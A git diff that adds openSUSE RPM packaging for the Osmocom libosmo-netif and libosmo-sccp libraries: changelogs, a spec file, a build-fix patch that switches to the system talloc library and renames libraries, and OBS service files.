+-------------------------------------------------------------------
+Wed Mar 13 21:01:21 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.4.0.21:
+ * amr: be sure result of osmo_amr_bwe_to_oa() fits into int buf
+ * amr: cosmetic: correct sourcecode formatting
+
+-------------------------------------------------------------------
+Mon Mar 11 21:00:34 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.4.0.19:
+ * AMR: add functions to convert between bw-efficient and octet-aligned
+ * AMR: add define constants for AMR payload length
+
+-------------------------------------------------------------------
+Thu Feb 28 21:00:30 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.4.0.17:
+ * debian: Add BuildDepends on libpcap0.8-dev
+ * AMR: add spec reference for AMR frame types
+
+-------------------------------------------------------------------
+Thu Feb 21 21:00:30 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.4.0.15:
+ * Stream client: add disconnect callback
+
+-------------------------------------------------------------------
+Mon Feb 11 21:00:34 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.4.0.14:
+ * Add stream client/server test
+
+-------------------------------------------------------------------
+Thu Feb 07 21:00:31 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.4.0.13:
+ * Stream client: report reconnection event as INFO
+
+-------------------------------------------------------------------
+Wed Feb 06 21:00:31 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.4.0.12:
+ * Ignore test binaries
+ * Stream examples: fix typos in error message
+
+-------------------------------------------------------------------
+Tue Feb 05 21:00:32 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.4.0.10:
+ * Stream client: fix disconnection logic
+ * Add socket name functions to stream client/server
+ * Stream client: update logging
+ * Stream examples: print accepted client address
+
+-------------------------------------------------------------------
+Mon Feb 04 21:00:33 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.4.0.6:
+ * Stream client: fix doxygen typo
+
+-------------------------------------------------------------------
+Fri Feb 01 21:00:26 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.4.0.5:
+ * Cosmetic: use #pragma once as include guard
+ * Add missing include
+
+-------------------------------------------------------------------
+Thu Jan 31 21:00:28 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.4.0.3:
+ * Stream examples: fix server's endless loop
+ * Stream examples: log sent/received bytes
+ * Stream examples: filter internal logging
+
+-------------------------------------------------------------------
+Sun Jan 20 21:00:32 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.4.0.0:
+ * Bump version: 0.3.0.6-a555 → 0.4.0
+
+-------------------------------------------------------------------
+Mon Dec 10 21:00:29 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.3.0.7:
+ * logging: fix typo in stream.c
+
+-------------------------------------------------------------------
+Fri Nov 09 21:00:33 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.3.0.6:
+ * detect freed connections in osmo_stream_srv_read()
+
+-------------------------------------------------------------------
+Mon Aug 13 20:00:31 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.3.0.5:
+ * jibuf: fix indentation in line inside conditional clause
+
+-------------------------------------------------------------------
+Mon Aug 06 20:00:32 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.3.0.4:
+ * debian/rules: Don't overwrite .tarball-version
+
+-------------------------------------------------------------------
+Wed Aug 01 20:00:32 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.3.0.3:
+ * link libosmo-netif against libosmogsm
+ * Migrate from osmo_ipa_idtag_parse() to ipa_ccm_id_resp_parse()
+
+-------------------------------------------------------------------
+Fri Jul 27 20:00:33 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.3.0.1:
+ * fix strncpy bug in rs232.c
+ * Bump version: 0.2.0.6-ac33-dirty → 0.3.0
+
+-------------------------------------------------------------------
+Thu Jul 05 20:01:54 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.0.6:
+ * stream.c: Use non-blocking connect in osmo_stream_cli
+
+-------------------------------------------------------------------
+Fri Jun 29 20:00:30 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.0.5:
+ * remove "channel" layer
+
+-------------------------------------------------------------------
+Thu May 17 20:01:00 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.0.4:
+ * tests: jibuf_test: Set some functions as static
+ * tests: jibuf_test: Add scenario to show out-of-order bug
+ * jibuf: Fix out-of-order seq queue around syncpoints
+ * osmux: change log lvl of batch full to debug
+
+-------------------------------------------------------------------
+Thu May 03 20:00:34 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.0.0:
+ * Bump version: 0.1.1.38-ef190-dirty → 0.2.0
+
+-------------------------------------------------------------------
+Sat Apr 28 20:00:30 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.1.1.38:
+ * osmux: Fix use of uninitialized memory in osmux_out_handle
+
+-------------------------------------------------------------------
+Mon Apr 23 20:00:30 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.1.1.37:
+ * osmux: Add new API osmux_xfrm_output_sched to fix rtp generation issues
+ * tests: Add osmux2 testsuite
+ * osmux: Set Marker bit on osmux frame loss detected
+ * osmux: Move examples and tests to use new output APIs
+
+-------------------------------------------------------------------
+Wed Apr 18 18:48:17 UTC 2018 - mardnh@gmx.de
+
+- Rebase patch: osmo-talloc.diff
+
+-------------------------------------------------------------------
+Tue Apr 17 20:00:34 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.1.1.33:
+ * tests: use osmo_init_logging2
+ * Build jibuf_tool based on libpcap availability
+ * examples: use osmo_init_logging2
+
+-------------------------------------------------------------------
+Mon Apr 16 20:00:30 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.1.1.30:
+ * jibuf: Add initial implementation of Jitter Buffer
+ * tests: jibuf_tool: Initial commit
+ * tests: jibuf_tool: Improve jibuf_test to read pcaps
+ * tests: jibuf_tool: Add OSMUX support
+ * tests: jibuf_tool: Add parameters to control size of buffer
+ * jibuf: Take RTP marker into account
+ * jibuf: re-sync clock out of sync timestamps
+ * tests: jibuf_tool: Add seq.plt
+ * jibuf: Estimate src clock skew
+
+-------------------------------------------------------------------
+Fri Apr 13 19:59:49 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.1.1.21:
+ * Update README.md
+
+-------------------------------------------------------------------
+Thu Apr 12 21:45:14 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.1.1.20:
+ * tests: osmo-pcap-test: Fix pcap includes not found in old versions
+ * osmux: osmux_xfrm_output_pull: Improve checks and log of malformed packets
+
+-------------------------------------------------------------------
+Sat Apr 07 18:49:56 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.1.1.18:
+ * stream.c: osmo_stream_cli_open2: Remove wrong assumption in reconnect decision
+
+-------------------------------------------------------------------
+Wed Mar 14 21:21:51 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.1.1.17:
+ * gitignore: vim swp files
+ * osmo_stream_{cli,srv}_destroy: fix mem leak: empty msgb queue
+ * contrib: jenkins.sh: Disable building doxygen for deps
+ * Enable sanitize for CI tests
+ * debian/control: Fix Vcs-Browser
+ * add support for flushing and destroying a server-side stream
+ * test: osmo-pcap-test: Fix clock drift while replaying pcap file
+ * osmux: Use correct log category DLMUX
+ * configure: add --enable-werror
+ * jenkins.sh: use --enable-werror configure flag, not CFLAGS
+
+-------------------------------------------------------------------
+Wed Jan 24 12:55:27 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 0.1.1.11
+
+-------------------------------------------------------------------
+Wed Dec 27 20:38:21 UTC 2017 - jengelh@inai.de
+
+- Update to new upstream release 0.1.1
+ * cosmetic: relax UDP length check
+ * cosmetic: print textual error from recv()
+ * osmux_snprintf: Support different types of Osmux frames
+
+-------------------------------------------------------------------
+Mon Oct 2 23:04:14 UTC 2017 - jengelh@inai.de
+
+- Update to new upstream snapshot 0.0.6.85
+ * rtp: return offset in osmo_rtp_snprintf()
+ * somo_stream_srv_fd_cb(): close socket if NODELAY fails
+
+-------------------------------------------------------------------
+Fri Apr 28 21:24:50 UTC 2017 - jengelh@inai.de
+
+- Update to new upstream snapshot 0.0.6.67
+ * Fix potential NULL dereference
+ * stream: don't crash in _close() when fd is not initialized
+ * stream: When destroying, make sure to kill reconnect timer
+ * osmux: Fix delay between RTP packets
+
+-------------------------------------------------------------------
+Sun Jul 31 17:59:57 UTC 2016 - jengelh@inai.de
+
+- Update to new upstream snapshot 0.0.6.19
+* misc: Drop oRTP dependency as there is nothing using it
+* osmux: Pass circuit to _batch_del_circuit() and use it from _xfrm_input_fini()
+* osmux: Add function to delete all msgs pending for a circuit
+* osmux-test: remove real-time constraint by default
+
+-------------------------------------------------------------------
+Tue Jan 26 12:06:24 UTC 2016 - jengelh@inai.de
+
+- Dump testsuite results on failure
+
+-------------------------------------------------------------------
+Fri Jan 22 18:17:18 UTC 2016 - jengelh@inai.de
+
+- Update to new upstream snapshot 0.0.6.8
+* don't link everything to libsctp
+* ensure to zero-initialize sctp_sndrcvinfo
+
+-------------------------------------------------------------------
+Wed Dec 23 17:13:12 UTC 2015 - jengelh@inai.de
+
+- Update to new upstream release 0.0.6.5
+* No changelog was provided
+- Drop osmo-cppflags.diff, osmo-ldadd.diff, osmo-allincludes.diff
+ (merged upstream)
+
+-------------------------------------------------------------------
+Thu Oct 2 20:58:44 UTC 2014 - jengelh@inai.de
+
+- Initial package (version 0.0.4) for build.opensuse.org
diff --git a/rpm-local/spec/libosmo-netif/libosmo-netif.spec b/rpm-local/spec/libosmo-netif/libosmo-netif.spec
new file mode 100644
index 0000000..071769c
--- /dev/null
+++ b/rpm-local/spec/libosmo-netif/libosmo-netif.spec
@@ -0,0 +1,89 @@
+#
+# spec file for package libosmo-netif
+#
+# Copyright (c) 2018 SUSE LINUX GmbH, Nuernberg, Germany.
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+
+%define version_unconverted 0.7.0.11
+Name: libosmo-netif
+Version: 0.7.0.11
+Release: 0
+Summary: Osmocom library for muxed audio
+License: GPL-2.0-or-later
+Group: Productivity/Telephony/Utilities
+URL: https://osmocom.org/projects/libosmo-netif
+Source: %{name}-%{version}.tar.xz
+BuildRequires: automake
+BuildRequires: libtool >= 2
+BuildRequires: lksctp-tools-devel
+BuildRequires: pkgconfig >= 0.20
+BuildRequires: pkgconfig(libosmoabis) >= 0.6.0
+BuildRequires: pkgconfig(libosmocore) >= 1.0.0
+BuildRequires: pkgconfig(libosmogsm) >= 1.0.0
+
+%description
+Network interface demuxer library for OsmoCom projects.
+
+%package -n libosmonetif8
+Summary: Osmocom library for muxed audio
+License: AGPL-3.0-or-later
+Group: System/Libraries
+
+%description -n libosmonetif8
+Network interface demuxer library for OsmoCom projects.
+
+%package -n libosmonetif-devel
+Summary: Development files for the Osmocom muxed audio library
+License: AGPL-3.0-or-later
+Group: Development/Libraries/C and C++
+Requires: libosmonetif8 = %{version}
+
+%description -n libosmonetif-devel
+Network interface demuxer library for OsmoCom projects.
+
+This subpackage contains libraries and header files for developing
+applications that want to make use of libosmo-netif.
+
+%prep
+%setup -q
+
+%build
+echo "%{version}" >.tarball-version
+autoreconf -fiv
+%configure --enable-shared --disable-static --includedir="%{_includedir}/%{name}"
+make %{?_smp_mflags}
+
+%install
+%make_install
+find %{buildroot} -type f -name "*.la" -delete -print
+
+%check
+make %{?_smp_mflags} check || (find . -name testsuite.log -exec cat {} +)
+
+%post -n libosmonetif8 -p /sbin/ldconfig
+%postun -n libosmonetif8 -p /sbin/ldconfig
+
+%files -n libosmonetif8
+%{_libdir}/libosmonetif.so.8*
+
+%files -n libosmonetif-devel
+%license COPYING
+%dir %{_includedir}/%{name}
+%dir %{_includedir}/%{name}/osmocom
+%{_includedir}/%{name}/osmocom/netif/
+%{_libdir}/libosmonetif.so
+%{_libdir}/pkgconfig/libosmo-netif.pc
+
+%changelog
diff --git a/rpm-local/spec/libosmo-sccp/0001-build-fixes.patch b/rpm-local/spec/libosmo-sccp/0001-build-fixes.patch
new file mode 100644
index 0000000..3ee9b35
--- /dev/null
+++ b/rpm-local/spec/libosmo-sccp/0001-build-fixes.patch
@@ -0,0 +1,149 @@
+From c130e5e4e1f2903e2cada860b5c6efed5e177d9b Mon Sep 17 00:00:00 2001
+From: Martin Hauke <mardnh@gmx.de>
+Date: Mon, 11 Nov 2019 20:03:02 +0100
+Subject: [PATCH] build: fixes
+
+Find and use system talloc, do not rely on OSMO's bundled copy.
+Rename libmtp to libosmo-mtp, as libmtp is already used by the
+Multimedia Transfer Protocol library.
+---
+ configure.ac | 1 +
+ libosmo-mtp.pc.in | 2 +-
+ libosmo-sccp.pc.in | 2 +-
+ src/Makefile.am | 20 +++++++++++++++-----
+ tests/m2ua/Makefile.am | 2 +-
+ tests/sccp/Makefile.am | 3 ++-
+ tests/ss7/Makefile.am | 2 --
+ tests/xua/Makefile.am | 6 ++----
+ 8 files changed, 23 insertions(+), 15 deletions(-)
+
+diff --git a/configure.ac b/configure.ac
+index 25ff832..769e286 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -29,6 +29,7 @@ if test "x$PKG_CONFIG_INSTALLED" = "xno"; then
+ fi
+ PKG_PROG_PKG_CONFIG([0.20])
+
++PKG_CHECK_MODULES([TALLOC], [talloc])
+ PKG_CHECK_MODULES(LIBOSMOCORE, libosmocore >= 1.3.0)
+ PKG_CHECK_MODULES(LIBOSMOVTY, libosmovty >= 1.3.0)
+ PKG_CHECK_MODULES(LIBOSMOGSM, libosmogsm >= 1.3.0)
+diff --git a/libosmo-mtp.pc.in b/libosmo-mtp.pc.in
+index 675d0d3..5e99dd3 100644
+--- a/libosmo-mtp.pc.in
++++ b/libosmo-mtp.pc.in
+@@ -6,5 +6,5 @@ includedir=@includedir@
+ Name: Osmo MTP Lib
+ Description: Osmo MTP Lib
+ Version: @VERSION@
+-Libs: -L${libdir} -lmtp
++Libs: -L${libdir} -losmo-mtp
+ Cflags: -I${includedir}/
+diff --git a/libosmo-sccp.pc.in b/libosmo-sccp.pc.in
+index eda8d49..9dd18c1 100644
+--- a/libosmo-sccp.pc.in
++++ b/libosmo-sccp.pc.in
+@@ -6,5 +6,5 @@ includedir=@includedir@
+ Name: OpenBSC SCCP Lib
+ Description: OpenBSC SCCP Lib
+ Version: @VERSION@
+-Libs: -L${libdir} -lsccp
++Libs: -L${libdir} -losmo-sccp
+ Cflags: -I${includedir}/
+diff --git a/src/Makefile.am b/src/Makefile.am
+index bdb225b..fe82fe9 100644
+--- a/src/Makefile.am
++++ b/src/Makefile.am
+@@ -7,15 +7,21 @@ noinst_HEADERS = sccp_internal.h xua_asp_fsm.h xua_as_fsm.h xua_internal.h
+ # Legacy static libs
+
+ sccpdir = $(libdir)
+-sccp_LIBRARIES = libsccp.a libmtp.a libxua.a
++sccp_LTLIBRARIES = libosmo-sccp.la libosmo-mtp.la libosmo-xua.la
+
+-libsccp_a_SOURCES = sccp.c
+-libmtp_a_SOURCES = mtp_pcap.c
+-libxua_a_SOURCES = xua_msg.c
++libosmo_sccp_la_SOURCES = sccp.c
++libosmo_mtp_la_SOURCES = mtp_pcap.c
++libosmo_xua_la_SOURCES = xua_msg.c
+ # ensure that the file for the static lib is built with different C
+ # flags, working around automake complaining that xua_msg.o is built
+ # both with libtool (below) and without (here)
+-libxua_a_CPPFLAGS = $(AM_CPPFLAGS) -DDUMMY -UDUMMY
++libosmo_xua_la_CPPFLAGS = ${AM_CPPFLAGS} -DDUMMY -UDUMMY
++
++libosmo_sccp_la_LIBADD = $(TALLOC_LIBS) $(LIBOSMOCORE_LIBS)
++libosmo_sccp_la_LDFLAGS = -release ${PACKAGE_VERSION}
++libosmo_mtp_la_LDFLAGS = -release ${PACKAGE_VERSION}
++libosmo_xua_la_LIBADD = $(TALLOC_LIBS) $(LIBOSMOCORE_LIBS)
++libosmo_xua_la_LDFLAGS = -release ${PACKAGE_VERSION}
+
+
+ # New shared lib
+@@ -35,3 +41,7 @@ libosmo_sigtran_la_SOURCES = sccp_sap.c sua.c m3ua.c xua_msg.c sccp_helpers.c \
+ libosmo_sigtran_la_LDFLAGS = -version-info $(LIBVERSION) -no-undefined -export-symbols-regex '^osmo_'
+ libosmo_sigtran_la_LIBADD = $(LIBOSMOCORE_LIBS) $(LIBOSMOGSM_LIBS) $(LIBOSMOVTY_LIBS) \
+ $(LIBOSMONETIF_LIBS) $(LIBSCTP_LIBS)
++
++noinst_LTLIBRARIES = libosmo-sigtran-internal.la
++libosmo_sigtran_internal_la_SOURCES = $(libosmo_sigtran_la_SOURCES)
++libosmo_sigtran_internal_la_LIBADD = $(libosmo_sigtran_la_LIBADD)
+diff --git a/tests/m2ua/Makefile.am b/tests/m2ua/Makefile.am
+index 33618ef..a04145f 100644
+--- a/tests/m2ua/Makefile.am
++++ b/tests/m2ua/Makefile.am
+@@ -5,4 +5,4 @@ EXTRA_DIST = m2ua_test.ok
+
+ noinst_PROGRAMS = m2ua_test
+ m2ua_test_SOURCES = m2ua_test.c
+-m2ua_test_LDADD = $(top_builddir)/src/libxua.a $(LIBOSMOCORE_LIBS)
++m2ua_test_LDADD = $(top_builddir)/src/libosmo-xua.la $(LIBOSMOCORE_LIBS) ${TALLOC_LIBS}
+diff --git a/tests/sccp/Makefile.am b/tests/sccp/Makefile.am
+index 85dbe64..ad7ddf3 100644
+--- a/tests/sccp/Makefile.am
++++ b/tests/sccp/Makefile.am
+@@ -1,4 +1,4 @@
+-AM_CPPFLAGS = $(all_includes) -I$(top_srcdir)/include
++AM_CPPFLAGS = $(all_includes) -I$(top_srcdir)/include ${TALLOC_CFLAGS}
+ AM_CFLAGS=-Wall -ggdb3 $(LIBOSMOCORE_CFLAGS)
+
+ EXTRA_DIST = sccp_test.ok
+@@ -9,5 +9,6 @@ sccp_test_SOURCES = sccp_test.c
+ sccp_test_LDADD = \
+ $(LIBOSMOCORE_LIBS) \
+ $(top_builddir)/src/sccp.o \
++ ${TALLOC_LIBS} \
+ $(NULL)
+
+diff --git a/tests/ss7/Makefile.am b/tests/ss7/Makefile.am
+index 3b6cb2c..d20b0a7 100644
+--- a/tests/ss7/Makefile.am
++++ b/tests/ss7/Makefile.am
+@@ -1,7 +1,5 @@
+ AM_CPPFLAGS = $(all_includes) -I$(top_srcdir)/include -Wall
+ AM_CFLAGS=-Wall $(LIBOSMOCORE_CFLAGS) $(LIBOSMOVTY_CFLAGS)
+-
+-AM_LDFLAGS = -static
+ LDADD = $(top_builddir)/src/libosmo-sigtran.la \
+ $(LIBOSMOCORE_LIBS) $(LIBOSMOVTY_LIBS) $(LIBOSMONETIF_LIBS) $(LIBSCTP_LIBS)
+
+diff --git a/tests/xua/Makefile.am b/tests/xua/Makefile.am
+index f56692b..04dbe96 100644
+--- a/tests/xua/Makefile.am
++++ b/tests/xua/Makefile.am
+@@ -1,8 +1,6 @@
+-AM_CPPFLAGS = $(all_includes) -I$(top_srcdir)/include -Wall
++AM_CPPFLAGS = $(all_includes) -I$(top_srcdir)/include -Wall $(LIBOSMOCORE_CFLAGS) $(LIBOSMOVTY_CFLAGS) $(LIBOSMONETIF_CFLAGS) $(LIBSCTP_CFLAGS)
+ AM_CFLAGS=-Wall $(LIBOSMOCORE_CFLAGS) $(LIBOSMOVTY_CFLAGS)
+-
+-AM_LDFLAGS = -static
+-LDADD = $(top_builddir)/src/libosmo-sigtran.la \
++LDADD = $(top_builddir)/src/libosmo-xua.la $(top_builddir)/src/libosmo-sigtran-internal.la \
+ $(LIBOSMOCORE_LIBS) $(LIBOSMOVTY_LIBS) $(LIBOSMONETIF_LIBS) $(LIBSCTP_LIBS)
+
+ EXTRA_DIST = xua_test.ok xua_test.err
+--
+2.16.4
+
diff --git a/rpm-local/spec/libosmo-sccp/_service b/rpm-local/spec/libosmo-sccp/_service
new file mode 100644
index 0000000..ea43a51
--- /dev/null
+++ b/rpm-local/spec/libosmo-sccp/_service
@@ -0,0 +1,13 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/libosmo-sccp</param>
+ <param name="versionformat">@PARENT_TAG@.@TAG_OFFSET@</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/libosmo-sccp/_servicedata b/rpm-local/spec/libosmo-sccp/_servicedata
new file mode 100644
index 0000000..63dbc45
--- /dev/null
+++ b/rpm-local/spec/libosmo-sccp/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/libosmo-sccp</param>
+ <param name="changesrevision">f7129b44aed6a3d02757ad35671a92ef8d58a20e</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/libosmo-sccp/libosmo-sccp.changes b/rpm-local/spec/libosmo-sccp/libosmo-sccp.changes
new file mode 100644
index 0000000..ddb1552
--- /dev/null
+++ b/rpm-local/spec/libosmo-sccp/libosmo-sccp.changes
@@ -0,0 +1,801 @@
+-------------------------------------------------------------------
+Mon Apr 20 20:00:21 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.35:
+ * sccp_internal.h: fix compilation with gcc-10
+
+-------------------------------------------------------------------
+Tue Apr 14 20:00:20 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.34:
+ * configure.ac: fix libtool issue with clang and sanitizer
+
+-------------------------------------------------------------------
+Thu Mar 19 21:00:18 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.33:
+ * cs7 vty: add 'show cs7 config'
+ * don't use 'debug' log level in example configs
+
+-------------------------------------------------------------------
+Tue Jan 21 21:00:38 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.31:
+ * xua_asp_fsm.c: Drop unused defines
+ * cosmetic: fix typo in comment
+ * sccp: Disarm inactivity timer upon T(iar) active->disconn_pend
+ * sccp_scoc: Deliver correct disconnect cause and importance to user on timer expiration
+ * examples/sccp_test_server: Log disconnect indication in echo service
+ * examples/sccp_test_server: Log primitive name instead of value
+ * osmo_sccp_simple_server(): use sccp instance index 0 instead of 1
+ * examples/sccp_demo_user: Support reading log/vty config from file
+ * example/sccp_demo_user: Use osmocom logging system instead of printf
+
+-------------------------------------------------------------------
+Sun Jan 19 21:00:51 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.22:
+ * sccp: Fix wrong param type in osmo_sccp_pnc_name()
+
+-------------------------------------------------------------------
+Fri Jan 17 21:00:34 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.21:
+ * sccp: Log missing user and router failure paths
+ * sccp2sua.c: Log malformed SUA message
+ * sccp: Support receiving messages with no optional params
+ * sccp: Improve logging in sccp_to_xua_opt()
+ * sccp: Convert ifelse to switch statement
+ * examples/sccp_demo_user: log category name instead of its hex value
+ * examples/sccp_test_server.c: Fix typo in log message
+ * sccp: Avoid memleak of xua_msg receiving malformed sccp message
+ * sccp: Add value_string for SCCP message types
+
+-------------------------------------------------------------------
+Thu Jan 16 21:00:26 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.12:
+ * sccp: Fix null ptr access on malformed or unsupported msg received
+ * sccp_demo_user: Bind VTY to -l local address cmdline arg
+
+-------------------------------------------------------------------
+Wed Jan 15 21:00:23 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.10:
+ * ss7: Improve checks in osmo_ss7_asp_peer_add_host()
+
+-------------------------------------------------------------------
+Mon Jan 13 21:00:36 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.9:
+ * ss7: Fix sccp_simple_server rejecting connections
+ * ss7: Set ASP addresses using asp_peer APIs
+ * ss7: Introduce APIs to manage asp_peer hosts
+ * ss7: Return value from child function in osmo_ss7_xua_server_set_local_host
+
+-------------------------------------------------------------------
+Fri Jan 10 21:00:41 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.5:
+ * sccp_demo_user: Change prompt to not include any '-' symbols
+
+-------------------------------------------------------------------
+Thu Jan 09 21:00:49 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.4:
+ * configure.ac: Check for sctp_recvmsg instead of sctp_send
+ * sua.c: Avoid double free in sua_rx_msg()->...->mtp_user_prim_cb()
+
+-------------------------------------------------------------------
+Wed Jan 08 21:00:36 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.2:
+ * Revert "fix memleaks in mtp_user_prim_cb()"
+ * fix memleaks in mtp_user_prim_cb()
+
+-------------------------------------------------------------------
+Fri Jan 03 21:00:44 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.0:
+ * Bump version: 1.1.0.71-bb75-dirty → 1.2.0
+ * debian: Drop patches directory containing old patch not longer required
+
+-------------------------------------------------------------------
+Tue Dec 17 21:00:24 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.71:
+ * ASP: Stop re-transmitting un-acknowledged messages on SCTP down event
+ * ASP FSM: Permit DOWN -> DOWN "transition"
+ * stp: exit(2) on unsupported positional arguments on command line
+
+-------------------------------------------------------------------
+Thu Dec 12 21:00:26 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.68:
+ * osmoappdesc.py, tests: switch to python 3
+
+-------------------------------------------------------------------
+Wed Dec 11 21:00:45 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.67:
+ * gitignore: add various generated doc files
+
+-------------------------------------------------------------------
+Mon Dec 02 21:00:22 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.66:
+ * xua_asp_fsm: Ensure xUA client includes routing contexts in ASPAC/ASPIA
+ * xua_asp_fsm: Ensure xUA client includes traffic-mode if configured
+
+-------------------------------------------------------------------
+Sun Dec 01 21:00:19 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.64:
+ * check for osmo_fsm_register() failures and propagate error
+
+-------------------------------------------------------------------
+Thu Nov 28 21:01:47 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.63:
+ * Skip dynamic ASPs when writing the list of ASPs in an AS
+
+-------------------------------------------------------------------
+Thu Nov 21 21:02:06 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.62:
+ * xua: Implement traffic mode broadcast
+
+-------------------------------------------------------------------
+Tue Nov 19 21:00:30 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.61:
+ * fix generating asp-role that can be parsed when re-opening config file
+ * asp: Don't override ASP and SCTP role when re-entering asp node
+ * osmo_ss7: Add osmo_ss7_asp_find()
+ * Don't forget to store the sctp-role during writing config file
+
+-------------------------------------------------------------------
+Fri Nov 15 21:00:47 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.57:
+ * osmo_ss7_vty.c: implement 'active' filter for show_cs7_as_cmd
+
+-------------------------------------------------------------------
+Wed Nov 13 21:00:25 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.56:
+ * xua: Avoid multiline log in xua_msg_dump()
+
+-------------------------------------------------------------------
+Tue Nov 12 21:00:57 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.55:
+ * ss7: Set correct local addr and port during dynamic ASP creation
+ * ss7: Improve log formatting during ASP restart
+ * xua: ipa_asp_fsm: Allow receiving IPA ID ACK before IPA ID RESP
+ * xua: ipa_asp_fsm: Allow moving ASP to inactive state
+
+-------------------------------------------------------------------
+Mon Nov 11 19:04:45 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Rebase 0001-build-fixes.patch
+
+-------------------------------------------------------------------
+Fri Nov 08 21:00:50 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.51:
+ * xua: Don't send NOTIFY messages to IPA ASPs
+ * ss7: Set ASP default remote addr to 127.0.0.1 if none set in VTY
+
+-------------------------------------------------------------------
+Thu Nov 07 21:01:54 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.49:
+ * tests/sccp/Makefile.am: use sccp.o from $(top_builddir)
+ * xua: On new ASPAC, set and notify other ASPs as inactive
+ * xua: Select only active ASPs during tx in Override traffic mode
+
+-------------------------------------------------------------------
+Wed Nov 06 21:01:06 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.46:
+ * osmo_ss7.c: fix xua_accept_cb(): properly assign role
+ * xua: Reset AS traffic mode set by peer during shutdown
+ * osmo_ss7.c: fix copy-paste error in xua_accept_cb()
+ * osmo_ss7.c: cosmetic: fix typo in xua_accept_cb()
+ * xua: loadshare: select ASP for tx only if active
+ * xua: Fix private function name
+
+-------------------------------------------------------------------
+Tue Nov 05 21:01:45 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.40:
+ * vty: Permit configuration of ASPs in SCTP client mode
+ * Allow ASP role to be configured
+ * introduce public enum osmo_ss7_asp_role for ASP/SG/IPSP
+ * M3UA: Reject ASP activation + RKM registration for incompatible traffic-mode
+ * xua: Allow traffic mode set by peer if not set by VTY
+ * xua_asp_fsm: Don't send M3UA ERR and then send ASPAC_ACK
+
+-------------------------------------------------------------------
+Mon Oct 28 21:00:20 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.34:
+ * ss7: Set Traffic mode and Route Ctx in ASPAC ACK msg if known
+ * xua: Verify all route ctxs received in ASPAC msg
+ * ss7: Only override traffic mode from recv REG REQ if not set by VTY
+ * ss7: Set configured AS traffic mode when sending Routing Key Register msg
